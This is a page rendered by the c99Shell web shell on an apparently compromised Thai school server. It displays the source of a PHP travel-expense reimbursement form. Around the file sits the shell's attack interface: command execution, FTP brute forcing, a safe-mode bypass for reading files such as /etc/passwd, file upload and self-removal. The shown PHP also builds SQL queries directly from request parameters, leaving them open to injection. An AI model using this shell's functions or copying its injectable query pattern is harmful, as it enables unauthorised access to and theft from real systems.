!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/teacher/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     DetailFormMoney.php (24.66 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../include/Function.php" );
        require_once(
"../link/function.php");
    
        
/**  Create Database Object  */
        
$dbObj = new DBConn;
        
        
/**  Config Table for This Page  */
        
$myTable "personal_tb";
        
$myTable1 "budget_year_tb"
        
$myTable2 ="durable_type_tb";
      
        
/*----- personal_tb--------*/
       
//$query = "SELECT *, prefixName as First_name FROM personal_tb LEFT JOIN prefix ON personal_tb.First_name = prefix.prefixId   LEFT JOIN position_tb ON personal_tb.PositionId = position_tb.PositionId LEFT JOIN faculty_tb ON personal_tb.Faculty_code = faculty_tb.Faculty_code  LEFT JOIN  training_tb ON  personal_tb.Teacher_code = training_tb.Teacher_code   LEFT JOIN  formaoffice  ON   training_tb.Teacher_code = formaoffice.Teacher_code    WHERE   training_tb.Teacher_code = '".$_REQUEST["Teacher_code"]." '  and   training_tb.Training_code = '".$_REQUEST["Training_code"]." '  and  formaoffice.codeId = '".$_REQUEST["codeId"]." '       ";
    //$result = $dbObj->execQuery($query);
    //$rss = $dbObj->fetchArray($result);    
        
        
$query "SELECT *, prefixName as First_name FROM personal_tb LEFT JOIN prefix ON personal_tb.First_name = prefix.prefixId   LEFT JOIN position_tb ON personal_tb.PositionId = position_tb.PositionId LEFT JOIN faculty_tb ON personal_tb.Faculty_code = faculty_tb.Faculty_code  LEFT JOIN  training_tb ON  personal_tb.Teacher_code = training_tb.Teacher_code   LEFT JOIN  formaoffice  ON   training_tb.Teacher_code = formaoffice.Teacher_code   LEFT JOIN  formofficemoney ON    formaoffice.codeId = formofficemoney.codeId   WHERE  formofficemoney.maNo = '".$_REQUEST["maNo"]." '  and   formofficemoney.Flag= '".$_REQUEST["Flag"]." '  ";
        
$result5 $dbObj->execQuery($query);
        
$rss5 $dbObj->fetchArray($result5);    
        
    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<title>MIS -- Teacher</title>
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<script type="text/javascript" src="../js/calendarDateInput2.js"></script>
<script language="javascript">
function checkData() {
var formObj = document.pc;
    if( (formObj.Acc_name.value == "" ) && (formObj.Room_name.value == "" ) ) { alert("กรุณากรอกข้อมูลให้ครบด้วยค่ะ" ); formObj.Acc_name.style.backgroundColor='#F1F9FC'; formObj.Room_name.focus(); return false; }
     if(formObj.Acc_name.value == "" ) { alert("กรุณากรอก  ครุภัณฑ์"); formObj.Acc_name.style.backgroundColor='#F1F9FC'; formObj.Acc_name.focus(); return false;} 
     if(formObj.Room_name.value == "" ) { alert("กรุณากรอก สถานที่ ตั้งครุภัณฑ์"); formObj.Room_name.style.backgroundColor='#F1F9FC'; formObj.Room_name.focus(); return false;} 
     if(formObj.Fix_History.value == "" ) { alert("กรุณากรอก  สาเหตุอาการ"); formObj.Fix_History.style.backgroundColor='#F1F9FC'; formObj.Fix_History.focus(); return false;}     
    else return true ;
}
</script>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include("../templates/incHeader.php");
?>
<table width="1001" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="198" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="803" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px"><fieldset>
      <table width="791" border="0" cellspacing="0" cellpadding="0">
      <form id="pc" name="pc" method="post" action="EditMoney.php?codeId=<?=$codeId;?>&Flag=<?=$rss['Flag'];?>&maNo=<?=$rss['maNo'];?>" onSubmit="return checkData();">
      <tr>
        <td width="791">&nbsp;</td>
      </tr>
      <tr>
        <td height="30" background="../images/background/bg-head-topic-w780.gif" class="PADDING-LEFT-10"><strong><a href="index.php">หน้าหลัก</a> &raquo; <a href="Menu_Form.php?Teacher_code=<?=$Teacher_code;?>">แบบฟอร์มราชการ</a> &raquo; <span class="NOTE">ใบเบิกค่าใช้จ่ายในการเดินทางไปราชการ</span></span></strong></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td align="center"><table width="788" border="0" cellpadding="0" cellspacing="3">
          <tr height="31">
              <td height="20" colspan="4" align="right" >ส่วนที่ 1  แบบ 8708</td>
            </tr>
            <tr height="31">
              <td height="17" colspan="4" align="left" >&nbsp;</td>
            </tr>
            <tr height="31">
              <td height="17" colspan="4" align="left" ><table width="786" height="20" border="0" cellpadding="0" cellspacing="0">
                <tr>
                  <td width="265">สัญญาเงินยืมเลขที่
                    <input name="Acc_code2" type="text" id="Acc_code2" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="4" />
/
<input name="Acc_code3" type="text" id="Acc_code3" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="4" /></td>
                  <td width="521">วันที่ 
                    <input name="Name5" type="text" id="Name6" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="25" readonly="readonly"/>
                  </tr>
                </table></td>
            </tr>
            <tr height="31">
              <td height="17" colspan="4" align="left" >ชื่อผู้ยืมเงิน 
                <input name="Name3" type="text" id="Name3" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="25"  value="<? echo $rss5[First_name];?> <? echo $rss5[Teacher_name];?>&nbsp;<? echo $rss5[Teacher_lastname];?>" readonly="readonly"/>
                จำนวนเงิน 
                <input name="Name" type="text" id="Name" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="10" readonly="readonly"/>
                บาท</td>
              </tr>
            <tr height="29">
              <td height="16" colspan="4" align="center" l>&nbsp;</td>
            </tr>
            <tr height="29">
              <td height="29" colspan="4" align="center" l><strong>ใบเบิกค่าใช้จ่ายในการเดินทางไปราชการ</strong></td>
            </tr>
            <tr height="29">
              <td height="16" colspan="4" l>&nbsp;</td>
              </tr>
            <tr>
              <td height="33" align="left">&nbsp;</td>
              <td height="33" align="left">&nbsp;</td>
              <td height="33" colspan="2" align="left">ที่ทำการ 
                <?php
            
         $collegeCode 
=  $rss["collegeCode"];
         
$sql "Select * From  college Where collegeStatus ='1'";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[collegeName] ";
         
         
?></td>
            </tr>
              <td width="243" height="29" align="left">&nbsp;</td>
              <td width="218" height="29" align="left">&nbsp;</td>
              <td height="29" colspan="2" align="left"><?php 
                $sday 
$rss5['Date'];
                
$yearthai explode("-",$sday);
                
$day intval($yearthai[2]);
                
$month intval($yearthai[1]);
                
$year intval($yearthai[0]);     
                
$m getThaiSubMonth($month);
                    echo 
"$day"." "."$m"." "."$year";
            
?></td>
              </tr>
            <tr height="29">
              <td height="29" colspan="2" align="left">เรื่อง 
                <input name="Acc_code4" type="text" id="Acc_code4" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="ขออนุมัติเบิกค่าใช้จ่ายในการเดินทางไปราชการ" size="35" />                 </td>
              <td width="315"></td>
              <td width="1"></td>
              </tr>
            <tr height="29">
              <td height="29" colspan="4" align="left">เรียน &nbsp; ผู้อำนวยการ 
                <?php
         $collegeCode 
=  $rss["collegeCode"];
         
$sql "Select * From  college Where collegeStatus ='1'";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[collegeName] ";
         
?>
                </td>
              </tr>
            <tr height="29">
              <td height="25" colspan="4">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ตามคำสั่ง/บันทึกที่
                <input name="maNo" type="text" id="maNo" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value=" <? echo $rss5['maNo'] ;?>" size="30" />
                &nbsp; 
                
                ลงวันที่ 
                <input name="#" type="text" id="#" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?     $sday $rss5['Date'];
                
$yearthai explode("-",$sday); 
                
$day intval($yearthai[2]);
                
$month =  intval($yearthai[1]);
                
$year intval($yearthai[0]);     
                
$m getThaiSubMonth($month);
                    echo 
"$day"." "."$m"." "."$year"?>" size="15" /></td>
              </tr>
            <tr height="29">
              <td height="29" colspan="4" align="left">ได้อนุมัติให้ข้าพเจ้า
                <input name="Flag" type="hidden" id="Flag" value="<?=$rss5['Flag'];?>" />
                <input name="Teacher_code" type="hidden" id="Teacher_code" value="<?=$rss5['Teacher_code'];?>" />
                <input name="Name4" type="text" id="Name4" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="20"  value="<? echo $rss5[First_name];?> <? echo $rss5[Teacher_name]?>&nbsp;<? echo $rss5[Teacher_lastname]?>" readonly="readonly"/>
ตำแหน่ง
<input name="Name4" type="text" id="Name5" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="30"  value="<?=$rss5["Position_name"];?>" readonly="readonly"/>
สังกัด 
<?php
         $collegeCode 
=  $rss["collegeCode"];
         
$sql "Select * From  college Where collegeStatus ='1'";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[collegeName] ";
         
?></td>
            </tr>
            <tr height="29">
              <td height="29" colspan="4" align="left">พร้อมด้วย
                <input name="WithMon" type="text" id="WithMon" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rss5['WithMon'];?>" size="100" />
                <input name="Training_code" type="hidden" id="Training_code" value="<?=$rss['Training_code'];?>" /></td>
            </tr>
            <tr height="29">
              <td height="29" colspan="4" align="left">เดินทางไปปฏิบัติราชการ 
                <input name="Training_name" type="text" id="Training_name" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rss5['Training_name'];?>" size="85"  /></td>
            </tr>
            <tr height="29">
              <td height="16" colspan="4" align="left">เรื่อง
                <input name="Matter" type="text" id="Matter" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rss5['Matter'];?>" size="80" />
จังหวัด

    <?php
                       
                                $strSQL3 
" SELECT * FROM   province  Where   provinceId   ='$rss5[provinceId]'   ";
                                
$result3 mysql_query($strSQL3);
                                 
$rs3 mysql_fetch_array($result3);
                               echo 
"$rs3[provinceName]" ;    ?>
    
                               
                         
 </td>
            </tr>
            
            <tr height="29">
              <td height="29" colspan="4" align="left"><table width="786" height="20" border="0" cellpadding="0" cellspacing="0">
                <tr>
                  <td width="431">โดยออกเดินทางจาก
                    <input name="MOut" type="radio" id="radio" value="1" <?=(trim($rss5["MOut"])=="1")?"checked":"";?> />
                    บ้านพัก
                    <input name="MOut" type="radio" id="radio" value="2" <?=(trim($rss5["MOut"])=="2")?"checked":"";?> />
                    สำนักงาน
                    <input name="MOut" type="radio" id="radio" value="3" <?=(trim($rss5["MOut"])=="3")?"checked":"";?> />
                    ประเทศไทย ตั้งแต่วันที่ </td>
                  <td width="207">
                    <?php 
                $sday 
$rss5['Date_start'];
                
$yearthai explode("-",$sday);
                
$day intval($yearthai[2]);
                
$month intval($yearthai[1]);
                
$year intval($yearthai[0]);     
                
$m getThaiSubMonth($month);
                    echo 
"$day"." "."$m"." "."$year";
            
?>
                 </td>
                  <td width="148">เวลา
                    <input name="Time_start" type="text" id="Time_start" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rss5['Time_start'];?>" size="5"  /></td>
                </tr>
              </table></td>
            </tr>
            <tr height="29">
              <td height="29" colspan="4" align="left"><table width="786" height="20" border="0" cellpadding="0" cellspacing="0">
                <tr>
                  <td width="432">และกลับถึง
                    <input name="MInput" type="radio" id="radio" value="1"<?=(trim($rss5["MInput"])=="1")?"checked":"";?> />
                    บ้านพัก
                    <input name="MInput" type="radio" id="radio" value="2"<?=(trim($rss5["MInput"])=="2")?"checked":"";?> />
                    สำนักงาน
                    <input name="MInput" type="radio" id="radio" value="3"<?=(trim($rss5["MInput"])=="3")?"checked":"";?> />
                    ประเทศไทย ตั้งแต่วันที่ </td>
                  <td width="207">
                    <?php 
                $sday 
$rss5['Date_finish'];
                
$yearthai explode("-",$sday);
                
$day intval($yearthai[2]);
                
$month =  intval($yearthai[1]);
                
$year intval($yearthai[0]);     
                
$m getThaiSubMonth($month);
                    echo 
"$day"." "."$m"." "."$year";
            
?>
                 </td>
                  <td width="147">เวลา
                    <input name="Time_finish" type="text" id="Time_finish" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rss5['Time_finish'];?>" size="5"  /></td>
                </tr>
              </table></td>
            </tr>
            <tr height="29">
              <td height="29" colspan="4" align="left">รวมเวลาไปราชการครั้งนี้ 
                <input name="Day" type="text" id="Day" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rss5['Day'];?>" size="10" />
                วัน 
                <input name="Hour" type="text" id="Hour" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rss5['Hour'];?>" size="10" /> 
                ชั่วโมง 
                <input name="Minute" type="text" id="Minute" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rss5['Minute'];?>" size="10" /> 
                นาที</td>
            </tr>
            <tr height="29">
              <td height="29" colspan="4" align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ข้าพเจ้าขอเบิกค่าใช้จ่ายในการเดินทางไปราชการสำหรับ ™ ข้าพเจ้า และ  คณะเดินทาง ดังนี้</td>
              </tr>
            <tr height="29">
              <td height="26" colspan="4" align="left"><table width="770" height="17" border="0" cellpadding="2" cellspacing="2">
                <tr>
                  <td width="463">๑.ค่าเบี้ยเลี้ยงเดินทาง                    </td>
                  <td width="121" align="center">จำนวน 
                    <input name="SMDay" type="text" id="SMDay" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rss5['SMDay'];?>" size="5" />
                    วัน</td>
                  <td width="166" align="center">รวม
                      <input name="Smtotal" type="text" id="Smtotal" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?    $sql1 " SELECT SUM(Smtotal)  AS SumB1  FROM  formofficemoney WHERE  Flag='$Flag'   and  maNo='$maNo'  ";
                
$result1 mysql_query($sql1);
                
$rss1 mysql_fetch_array($result1);
                    echo 
number_format($rss1['SumB1'],2,'.',',');?>" size="10" />
                    บาท</td>
                </tr>
                <tr>
                  <td>๒.ค่าเช่าที่พักประเภท 
                    <input name="ST" type="radio" id="checkbox" value="Y" <?=(trim($rss5["ST"])=="Y")?"checked":"";?> />
                    จ่ายจริง 
                    <input name="ST" type="radio" id="checkbox" value="M"  <?=(trim($rss5["ST"])=="M")?"checked":"";?>/> 
                    เหมาจ่าย</td>
                  <td align="center">จำนวน
                    <input name="STDay" type="text" id="STDay" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rss5['STDay']; ?>" size="5" />
                    วัน</td>
                  <td align="center">รวม
                    <input name="STtotal" type="text" id="STtotal" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? 
                    $sql1 
" SELECT SUM(STtotal)  AS SumB2  FROM  formofficemoney  WHERE  Flag='$Flag'   and  maNo='$maNo'  ";
                
$result1 mysql_query($sql1);
                
$rss1 mysql_fetch_array($result1);
                    echo 
number_format($rss1['SumB2'],2,'.',','); ?>" size="10" />
                    บาท</td>
                </tr>
                <tr>
                  <td colspan="2">๓.ค่าพาหนะ
                    <input name="Vehicle1" type="checkbox" id="checkbox" value="1" <?=(trim($rss5["Vehicle1"])=="1")?"checked":"";?> />
                    รถรับจ้าง 
                    <input name="Vehicle2" type="checkbox" id="checkbox" value="2"<?=(trim($rss5["Vehicle2"])=="2")?"checked":"";?> />
                    รถปรับอากาศ 
                    <input name="Vehicle3" type="checkbox" id="checkbox" value="3"<?=(trim($rss5["Vehicle3"])=="3")?"checked":"";?> />
                    รถไฟ 
                    <input name="Vehicle4" type="checkbox" id="checkbox" value="4"<?=(trim($rss5["Vehicle4"])=="4")?"checked":"";?> />
                    เครื่องบิน 
                    <input name="Vehicle5" type="checkbox" id="checkbox" value="5" <?=(trim($rss5["Vehicle5"])=="5")?"checked":"";?>/> 
                    น้ำมันเชื้อเพลิง</td>
                  <td align="center">รวม
                    <input name="Vehicletotal" type="text" id="Vehicletotal" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? 
                    $sql1 
" SELECT SUM(Vehicletotal)  AS SumB3 FROM  formofficemoney  WHERE  Flag='$Flag'   and  maNo='$maNo'  ";
                
$result1 mysql_query($sql1);
                
$rss1 mysql_fetch_array($result1);
                    echo 
number_format($rss1['SumB3'],2,'.',','); ?>" size="10" />
                    บาท</td>
                </tr>
                <tr>
                  <td colspan="2">๔.ค่าใช้จ่ายอื่น    
                    <input name="Crges1" type="checkbox" id="checkbox" value="1"<?=(trim($rss5["Crges1"])=="1")?"checked":"";?> /> 
                    ค่าธรรมเนียมผ่านทาง 
                      <input name="Crges2" type="checkbox" id="checkbox" value="2" <?=(trim($rss5["Crges2"])=="2")?"checked":"";?> />
                      ค่าลงทะเบียน 
                      <input name="Crges3" type="checkbox" id="checkbox" value="3"<?=(trim($rss5["Crges3"])=="3")?"checked":"";?> />
                      อื่นๆ</td>
                  <td align="center">รวม
                    <input name="Crgestotal" type="text" id="Crgestotal" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?
                    $sql1 
" SELECT SUM(Crgestotal)  AS SumB4  FROM  formofficemoney   WHERE  Flag='$Flag'   and  maNo='$maNo'  ";
                
$result1 mysql_query($sql1);
                
$rss1 mysql_fetch_array($result1);
                    echo 
number_format($rss1['SumB4'],2,'.',',');?>" size="10" />
บาท</td>
                </tr>
                <tr>
                  <td>&nbsp;</td>
                  <td align="right">รวมทั้งสิ้น </td>
                  <td align="center"><input name="Budget_use" type="text" id="Budget_use" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value=" <?    
                  $sql1 
" SELECT SUM(Budget_use)  AS SumB5  FROM  formofficemoney  WHERE  Flag='$Flag'   and  maNo='$maNo'  ";
                
$result1 mysql_query($sql1);
                
$rss1 mysql_fetch_array($result1);
                    echo 
number_format($rss1['SumB5'],2,'.',',');?>" size="15" />
                    บาท</td>
                </tr>
              </table></td>
              </tr>
            <tr height="29">
              <td height="26" colspan="4" align="left">จำนวนเงิน (ตัวอักษร) 
                <input name="Status" type="text" id="Status" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?   echo convertNumberToString($rss1['SumB5']).'ถ้วน' ;?>" size="50"  /></td>
              </tr>
            <tr height="29">
              <td height="16" colspan="4" align="center">ข้าพเจ้าขอรับรองว่ารายการที่กล่าวมาข้างต้นเป็นความจริง และหลักฐานการจ่ายที่ส่งมาด้วย</td>
              </tr>
            <tr height="29">
              <td height="26" colspan="4" align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;จำนวน 
                <input name="Document" type="text" id="Document" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rss5['Document'];?>" size="5"  /> 
                ฉบับ รวมทั้งจำนวนเงินที่ขอเบิกถูกต้องตามกฎหมายทุกประการ</td>
              </tr>
            <tr height="29">
              <td height="29" colspan="4" align="left"><table width="756" border="0" align="center" cellpadding="0" cellspacing="3">
                <tr>
                  <th width="296" align="center" scope="col">&nbsp;</th>
                  <th width="337" align="center" class="ALERT" scope="col">&nbsp;</th>
                  </tr>
                <tr>
                  <td height="27" align="center">&nbsp;</td>
                  <td align="center">ลงชื่อ.................................ผู้ขอรับเงิน</td>
                  </tr>
                <tr>
                  <td height="25" align="center">&nbsp;</td>
                  <td align="center">( <? echo $rss5[First_name]?> <? echo $rss5[Teacher_name]?>&nbsp; <? echo $rss5[Teacher_lastname]?> )</td>
                  </tr>
                <tr>
                  <td align="center">&nbsp;</td>
                  <td align="center">ตำแหน่ง
                    <input name="Name2" type="text" id="Name2" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="25"  value=" <? $PositionId =  $rss5["PositionId"];
         
$sql "Select * From  position_tb   Where   PositionId ='$PositionId'  ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[Position_name] ";?>
         " />
                    </td>
                  </tr>
                </table></td>
              </tr>
            <tr height="29">
              <td height="16" colspan="4" align="left"></td>
              </tr>
            <tr height="29">
              <td height="29" colspan="4" align="left">&nbsp;</td>
              </tr>
            </table></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr></form>
    </table>
   </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0148 ]--